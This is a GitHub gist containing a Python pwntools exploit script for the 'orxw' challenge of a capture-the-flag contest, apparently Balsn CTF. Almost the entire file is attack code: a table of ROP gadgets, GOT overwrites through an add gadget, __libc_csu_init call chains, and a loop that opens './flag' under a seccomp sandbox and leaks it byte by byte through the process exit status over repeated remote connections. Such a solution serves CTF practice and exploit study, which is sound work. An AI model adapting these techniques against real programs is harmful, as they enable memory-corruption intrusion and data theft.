Created
November 22, 2021 07:31
-
-
Save X3eRo0/0a111c4930fea36d2bd6f1e5cc0d7696 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# this exploit was generated via | |
# 1) pwntools | |
# 2) ctfinit | |
import os | |
import time | |
import pwn | |
# Set up pwntools for the correct architecture | |
exe = pwn.context.binary = pwn.ELF('./orxw') | |
libc = pwn.ELF("./libc.so.6") | |
pwn.context.terminal = ["alacritty", "--title", "CTFMate", "-e"] | |
pwn.context.delete_corefiles = True | |
pwn.context.rename_corefiles = False | |
host = pwn.args.HOST or 'orxw.balsnctf.com' | |
port = int(pwn.args.PORT or 19091) | |
def local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if pwn.args.GDB: | |
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return pwn.process([exe.path] + argv, *a, **kw) | |
def remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
io = pwn.connect(host, port) | |
if pwn.args.GDB: | |
pwn.gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if pwn.args.LOCAL: | |
return local(argv, *a, **kw) | |
else: | |
return remote(argv, *a, **kw) | |
gdbscript = ''' | |
# set follow-fork-mode parent | |
# break *0x4014F1 | |
break *0x401506 | |
continue | |
'''.format(**locals()) | |
# =========================================================== | |
# EXPLOIT GOES HERE | |
# =========================================================== | |
def GetOffsetStdin(): | |
log_level = pwn.context.log_level | |
pwn.context.log_level = 'critical' | |
p = pwn.process(exe.path) | |
p.sendline(pwn.cyclic(512)) | |
p.wait() | |
time.sleep(2) | |
core = p.corefile | |
fault = core.fault_addr | |
ofst = pwn.cyclic_find(fault & 0xffffffff) | |
p.close() | |
pwn.context.log_level = log_level | |
return ofst | |
def GetOffsetArgv(): | |
log_level = pwn.context.log_level | |
pwn.context.log_level = 'critical' | |
p = pwn.process([exe.path, pwn.cyclic(512)]) | |
p.wait() | |
time.sleep(2) | |
core = p.corefile | |
fault = core.fault_addr | |
ofst = pwn.cyclic_find(fault & 0xffffffff) | |
p.close() | |
pwn.context.log_level = log_level | |
return ofst | |
# 0x000000000040156c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x000000000040156e : pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x0000000000401570 : pop r14 ; pop r15 ; ret | |
# 0x0000000000401572 : pop r15 ; ret | |
# 0x000000000040156b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x000000000040156f : pop rbp ; pop r14 ; pop r15 ; ret | |
# 0x000000000040125d : pop rbp ; ret | |
# 0x0000000000401573 : pop rdi ; ret | |
# 0x0000000000401571 : pop rsi ; pop r15 ; ret | |
# 0x000000000040156d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x000000000040101a : ret | |
# 0x000000000040125c : add dword [rbp-0x3D], ebx ; nop ; ret | |
# 0x000000000040156a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; | |
# 0x000000000012016a : mov rax, qword ptr [rax + 8] ; ret | |
# 0x000000000004fad1 : mov ebx, dword ptr [rdx - 0x7cb80000] ; ret | |
# 0x0000000000162866 : pop rdx ; pop rbx ; ret | |
# 0x00000000000e1414 : mov rax, qword ptr [rdi + 0x20] ; ret | |
# 0x000000000004d360 : xchg eax, ebp ; ret | |
# 0x00000000000331ff : pop rbx ; ret | |
# 0x0000000000122294 : mov edi, eax ; mov eax, 0x3c ; syscall | |
''' | |
puts : 5a0 -- a0 55 50 57 4a 7f | |
read : 130 -- 30 b1 36 cd 12 7f | |
''' | |
offset = 24 | |
POP_RDI = 0x401573 | |
POP_RSI = 0x401571 | |
POP_RSP = 0x40156d | |
RET_GDT = POP_RDI+1 | |
BSS_ADR = 0x404090 | |
ADD_VAL = 0x40125c | |
POP_RBP = 0x40156f | |
POP_RPX = 0x40156a | |
CALL_XX = 0x401550 | |
STATUSG = 0x40408C | |
X_AX_BP = 0x04d360 | |
M_AX_DI = 0x0e1414 | |
POPRBX2 = 0x0331ff | |
EXITGDT = 0x122294 | |
''' | |
.text:0000000000401550 mov rdx, r14 | |
.text:0000000000401553 mov rsi, r13 | |
.text:0000000000401556 mov edi, r12d | |
.text:0000000000401559 call ds:(__frame_dummy_init_array_entry - 403E00h)[r15+rbx*8] | |
.text:000000000040155D add rbx, 1 | |
.text:0000000000401561 cmp rbp, rbx | |
.text:0000000000401564 jnz short loc_401550 | |
.text:0000000000401566 | |
.text:0000000000401566 loc_401566: ; CODE XREF: __libc_csu_init+35↑j | |
.text:0000000000401566 add rsp, 8 | |
.text:000000000040156A pop rbx | |
.text:000000000040156B pop rbp | |
.text:000000000040156C pop r12 | |
.text:000000000040156E pop r13 | |
.text:0000000000401570 pop r14 | |
.text:0000000000401572 pop r15 | |
.text:0000000000401574 retn | |
''' | |
def give_exploit_for_index(index): | |
stage_1 = pwn.cyclic(offset) | |
# mov status in either rbp or rbx | |
# if not zero then we call write(1, flag, 100) | |
# if zero simply return | |
# ffef1fe8 | |
# setup xchg eax, ebp; ret | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((X_AX_BP - libc.symbols['fork']) & 0xffffffff) + pwn.p64(exe.got['fork'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
# setup mov rax, qword ptr [rdi + 0x20] ; ret | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((M_AX_DI - libc.symbols['setbuf']) & 0xffffffff) + pwn.p64(exe.got['setbuf'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((POPRBX2 - libc.symbols['read']) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RDI) | |
stage_1 += pwn.p64(STATUSG - 0x20) | |
stage_1 += pwn.p64(exe.plt['read']) | |
stage_1 += pwn.p64(0) | |
stage_1 += pwn.p64(exe.plt['setbuf']) | |
stage_1 += pwn.p64(exe.plt['fork']) | |
# rbx = 0x4100 | |
stage_1 += pwn.p64(POP_RPX + 2) | |
stage_1 += pwn.p64(STATUSG+1) # r12 | |
stage_1 += pwn.p64(0) # r13 | |
stage_1 += pwn.p64(0) # r14 | |
stage_1 += pwn.p64(exe.got['puts']) # r15 | |
stage_1 += pwn.p64(CALL_XX + 0x11) | |
# set seccomp_init -> open64 | |
stage_1 += pwn.p64(0) * 7 | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((libc.symbols['open64'] - libc.symbols['close']) & 0xffffffff) + pwn.p64(exe.got['close'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((libc.symbols['read'] - POPRBX2) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64(pwn.u32(b"./fl")) + pwn.p64(BSS_ADR+0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64(pwn.u32(b"ag\x00\x00")) + pwn.p64(BSS_ADR+4+0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
# open("./flag", 0); | |
stage_1 += pwn.p64(POP_RDI) | |
stage_1 += pwn.p64(BSS_ADR) | |
stage_1 += pwn.p64(POP_RSI) | |
stage_1 += pwn.p64(0) * 2 | |
stage_1 += pwn.p64(exe.plt['close']) | |
# read(0, BSS_ADR+10, 200); | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64(0) | |
stage_1 += pwn.p64(1) | |
stage_1 += pwn.p64(0) # rdi | |
stage_1 += pwn.p64(BSS_ADR + 10) # rsi | |
stage_1 += pwn.p64(200) # rdx | |
stage_1 += pwn.p64(exe.got['read']) # address to call | |
stage_1 += pwn.p64(CALL_XX) | |
stage_1 += pwn.p64(0) * 7 | |
# read = exit gdt | |
stage_1 += pwn.p64(POP_RPX) | |
stage_1 += pwn.p64((EXITGDT - libc.symbols['read']) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4 | |
stage_1 += pwn.p64(ADD_VAL) | |
stage_1 += pwn.p64(POP_RDI) | |
stage_1 += pwn.p64(BSS_ADR+10+index - 0x20) | |
stage_1 += pwn.p64(exe.plt['setbuf']) | |
stage_1 += pwn.p64(exe.plt['read']) | |
stage_1 += pwn.p64(exe.plt['_exit']) | |
return stage_1 | |
flag = b" " | |
with pwn.context.local(log_level='warn'), \ | |
pwn.log.progress('Flag', level=pwn.logging.WARN) as flag_leak: | |
i = 0 | |
while i != 41: | |
io = start() | |
io.sendlineafter(b"Can you defeat orxw?\n", give_exploit_for_index(i)) | |
flag += io.recv() | |
flag_leak.status(flag.decode('latin1')) | |
i+=1 | |
flag_leak.success(flag.decode('latin1')) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment